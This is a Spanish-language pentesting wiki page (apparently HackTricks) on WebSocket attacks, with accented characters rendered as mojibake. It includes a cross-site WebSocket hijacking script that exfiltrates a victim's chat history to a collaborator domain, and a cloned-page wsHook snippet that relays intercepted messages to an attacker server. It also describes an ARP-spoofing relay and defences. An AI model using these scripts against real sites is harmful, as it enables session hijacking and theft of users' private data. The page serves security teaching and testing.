WebSocket Attacks
Reading time: 12 minutes
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripci贸n!
- 脷nete al 馃挰 grupo de Discord o al grupo de telegram o s铆guenos en Twitter 馃惁 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Qu茅 son los WebSockets
Las conexiones WebSocket se establecen a trav茅s de un handshake HTTP inicial y est谩n dise帽adas para ser de larga duraci贸n, permitiendo la mensajer铆a bidireccional en cualquier momento sin la necesidad de un sistema transaccional. Esto hace que los WebSockets sean particularmente ventajosos para aplicaciones que requieren baja latencia o comunicaci贸n iniciada por el servidor, como flujos de datos financieros en vivo.
Establecimiento de Conexiones WebSocket
Una explicaci贸n detallada sobre el establecimiento de conexiones WebSocket se puede acceder aqu铆. En resumen, las conexiones WebSocket suelen ser iniciadas a trav茅s de JavaScript del lado del cliente como se muestra a continuaci贸n:
var ws = new WebSocket("wss://normal-website.com/ws")
El protocolo wss
significa una conexi贸n WebSocket asegurada con TLS, mientras que ws
indica una conexi贸n no asegurada.
Durante el establecimiento de la conexi贸n, se realiza un apret贸n de manos entre el navegador y el servidor a trav茅s de HTTP. El proceso de apret贸n de manos implica que el navegador env铆a una solicitud y el servidor responde, como se ilustra en los siguientes ejemplos:
El navegador env铆a una solicitud de apret贸n de manos:
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
Respuesta del apret贸n de manos del servidor:
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
La conexi贸n permanece abierta para el intercambio de mensajes en ambas direcciones una vez establecida.
Puntos Clave del Handshake de WebSocket:
- Los encabezados
Connection
yUpgrade
se帽alan el inicio de un handshake de WebSocket. - El encabezado
Sec-WebSocket-Version
indica la versi贸n del protocolo WebSocket deseada, generalmente13
. - Un valor aleatorio codificado en Base64 se env铆a en el encabezado
Sec-WebSocket-Key
, asegurando que cada handshake sea 煤nico, lo que ayuda a prevenir problemas con proxies de cach茅. Este valor no es para autenticaci贸n, sino para confirmar que la respuesta no es generada por un servidor o cach茅 mal configurado. - El encabezado
Sec-WebSocket-Accept
en la respuesta del servidor es un hash delSec-WebSocket-Key
, verificando la intenci贸n del servidor de abrir una conexi贸n WebSocket.
Estas caracter铆sticas aseguran que el proceso de handshake sea seguro y confiable, allanando el camino para una comunicaci贸n en tiempo real eficiente.
Consola de Linux
Puedes usar websocat
para establecer una conexi贸n en bruto con un websocket.
websocat --insecure wss://10.10.10.10:8000 -v
O para crear un servidor websocat:
websocat -s 0.0.0.0:8000 #Listen in port 8000
Conexiones websocket MitM
Si encuentras que los clientes est谩n conectados a un HTTP websocket desde tu red local actual, podr铆as intentar un ARP Spoofing Attack para realizar un ataque MitM entre el cliente y el servidor.
Una vez que el cliente est茅 intentando conectarse, puedes usar:
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
Enumeraci贸n de Websockets
Puedes usar la herramienta https://github.com/PalindromeLabs/STEWS para descubrir, identificar y buscar vulnerabilidades conocidas en websockets autom谩ticamente.
Herramientas de depuraci贸n de Websocket
- Burp Suite soporta la comunicaci贸n de websockets MitM de manera muy similar a como lo hace para la comunicaci贸n HTTP regular.
- La extensi贸n de Burp Suite socketsleuth **te permitir谩 gestionar mejor las comunicaciones de Websocket en Burp al obtener el historial, establecer reglas de interceptaci贸n, usar reglas de coincidencia y reemplazo, usar Intruder y AutoRepeater.
- WSSiP: Abreviatura de "WebSocket/Socket.io Proxy", esta herramienta, escrita en Node.js, proporciona una interfaz de usuario para capturar, interceptar, enviar mensajes personalizados y ver todas las comunicaciones de WebSocket y Socket.IO entre el cliente y el servidor.
- wsrepl es un REPL interactivo de websocket dise帽ado espec铆ficamente para pruebas de penetraci贸n. Proporciona una interfaz para observar mensajes de websocket entrantes y enviar nuevos, con un marco f谩cil de usar para automatizar esta comunicaci贸n.
- https://websocketking.com/ es una web para comunicarse con otras webs usando websockets.
- https://hoppscotch.io/realtime/websocket entre otros tipos de comunicaciones/protocolos, proporciona una web para comunicarse con otras webs usando websockets.
Desencriptando Websocket
Laboratorio de Websocket
En Burp-Suite-Extender-Montoya-Course tienes un c贸digo para lanzar una web usando websockets y en esta publicaci贸n puedes encontrar una explicaci贸n.
Fuzzing de Websocket
La extensi贸n de burp Backslash Powered Scanner ahora permite tambi茅n fuzzing de mensajes de WebSocket. Puedes leer m谩s informaci贸n sobre esto aqu铆.
Secuestro de WebSocket entre sitios (CSWSH)
El secuestro de WebSocket entre sitios, tambi茅n conocido como secuestro de WebSocket de origen cruzado, se identifica como un caso espec铆fico de Cross-Site Request Forgery (CSRF) que afecta a los handshakes de WebSocket. Esta vulnerabilidad surge cuando los handshakes de WebSocket se autentican 煤nicamente a trav茅s de cookies HTTP sin tokens CSRF o medidas de seguridad similares.
Los atacantes pueden explotar esto al alojar una p谩gina web maliciosa que inicia una conexi贸n de WebSocket entre sitios a una aplicaci贸n vulnerable. En consecuencia, esta conexi贸n se trata como parte de la sesi贸n de la v铆ctima con la aplicaci贸n, aprovechando la falta de protecci贸n CSRF en el mecanismo de manejo de sesiones.
Para que este ataque funcione, estos son los requisitos:
- La autenticaci贸n de websocket debe basarse en cookies
- La cookie debe ser accesible desde el servidor del atacante (esto generalmente significa
SameSite=None
) y no debe tener Protecci贸n Total de Cookies de Firefox habilitada en Firefox y no debe haber cookies de terceros bloqueadas en Chrome. - El servidor de websocket no debe verificar el origen de la conexi贸n (o esto debe ser eludible)
Adem谩s:
- Si la autenticaci贸n se basa en una conexi贸n local (a localhost o a una red local), el ataque ser谩 posible ya que ninguna protecci贸n actual lo proh铆be (consulta m谩s informaci贸n aqu铆)
Ataque Simple
Ten en cuenta que al establecer una conexi贸n de websocket, la cookie es enviada al servidor. El servidor podr铆a estar us谩ndola para relacionar a cada usuario espec铆fico con su sesi贸n de websocket basada en la cookie enviada.
Entonces, si por ejemplo el servidor de websocket devuelve el historial de la conversaci贸n de un usuario si se env铆a un mensaje con "READY", entonces un XSS simple estableciendo la conexi贸n (la cookie ser谩 enviada autom谩ticamente para autorizar al usuario v铆ctima) enviando "READY" podr谩 recuperar el historial de la conversaci贸n.
<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>
Cross Origin + Cookie con un subdominio diferente
En esta publicaci贸n del blog https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/ el atacante logr贸 ejecutar Javascript arbitrario en un subdominio del dominio donde estaba ocurriendo la comunicaci贸n por web socket. Debido a que era un subdominio, la cookie estaba siendo enviada, y como el Websocket no verific贸 correctamente el Origin, fue posible comunicarse con 茅l y robar tokens de 茅l.
Robando datos del usuario
Copia la aplicaci贸n web que deseas suplantar (los archivos .html por ejemplo) y dentro del script donde est谩 ocurriendo la comunicaci贸n por websocket a帽ade este c贸digo:
//This is the script tag to load the websocket hooker
;<script src="wsHook.js"></script>
//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function (data, url) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "client_msg?m=" + data, true)
xhttp.send()
}
wsHook.after = function (messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "server_msg?m=" + messageEvent.data, true)
xhttp.send()
return messageEvent
}
Ahora descarga el archivo wsHook.js
de https://github.com/skepticfx/wshook y gu谩rdalo dentro de la carpeta con los archivos web.
Exponiendo la aplicaci贸n web y haciendo que un usuario se conecte a ella, podr谩s robar los mensajes enviados y recibidos a trav茅s de websocket:
sudo python3 -m http.server 80
Protecciones CSWSH
El ataque CSWSH se basa en el hecho de que un usuario se conectar谩 a una p谩gina maliciosa que abrir谩 una conexi贸n websocket a una p谩gina web donde el usuario ya est谩 conectado y se autentificar谩 como 茅l, ya que la solicitud enviar谩 las cookies del usuario.
Hoy en d铆a, es muy f谩cil prevenir este problema:
- Verificaci贸n del origen por el servidor websocket: El servidor websocket siempre debe verificar desde d贸nde se est谩 conectando un usuario para evitar que p谩ginas inesperadas se conecten a 茅l.
- Token de autenticaci贸n: En lugar de basar la autenticaci贸n en una cookie, la conexi贸n websocket podr铆a basarse en un token que es generado por el servidor para el usuario desconocido para el atacante (como un token anti-CSRF).
- Atributo de cookie SameSite: Las cookies con el valor
SameSite
comoLax
oStrict
no se enviar谩n desde una p谩gina de atacantes externa al servidor de la v铆ctima, por lo tanto, la autenticaci贸n basada en cookies no ser谩 exitosa. Tenga en cuenta que Chrome ahora establece el valorLax
en las cookies sin este flag especificado, haciendo esto m谩s seguro por defecto. Sin embargo, los primeros 2 minutos despu茅s de que se crea una cookie, tendr谩 el valorNone
, haci茅ndola vulnerable durante ese per铆odo limitado de tiempo (tambi茅n se espera que esta medida se elimine en alg煤n momento). - Protecci贸n Total de Cookies en Firefox: La Protecci贸n Total de Cookies funciona aislando las cookies al sitio en el que se crean. Esencialmente, cada sitio tiene su propia partici贸n de almacenamiento de cookies para evitar que terceros vinculen el historial de navegaci贸n de un usuario. Esto hace que CSWSH sea inutilizable, ya que el sitio del atacante no tendr谩 acceso a las cookies.
- Bloqueo de cookies de terceros en Chrome: Esto tambi茅n podr铆a prevenir el env铆o de la cookie del usuario autenticado al servidor websocket incluso con
SameSite=None
.
Condiciones de Carrera
Las Condiciones de Carrera en WebSockets tambi茅n son un problema, ver esta informaci贸n para aprender m谩s.
Otras vulnerabilidades
Dado que los Web Sockets son un mecanismo para enviar datos al lado del servidor y al lado del cliente, dependiendo de c贸mo el servidor y el cliente manejan la informaci贸n, los Web Sockets pueden ser utilizados para explotar varias otras vulnerabilidades como XSS, SQLi o cualquier otra vulnerabilidad web com煤n utilizando la entrada de un usuario desde un websocket.
Smuggling de WebSocket
Esta vulnerabilidad podr铆a permitirte eludir las restricciones de proxies inversos haci茅ndoles creer que se estableci贸 una comunicaci贸n websocket (incluso si no es cierto). Esto podr铆a permitir a un atacante acceder a endpoints ocultos. Para m谩s informaci贸n, consulta la siguiente p谩gina:
Referencias
- https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages
- https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripci贸n!
- 脷nete al 馃挰 grupo de Discord o al grupo de telegram o s铆guenos en Twitter 馃惁 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.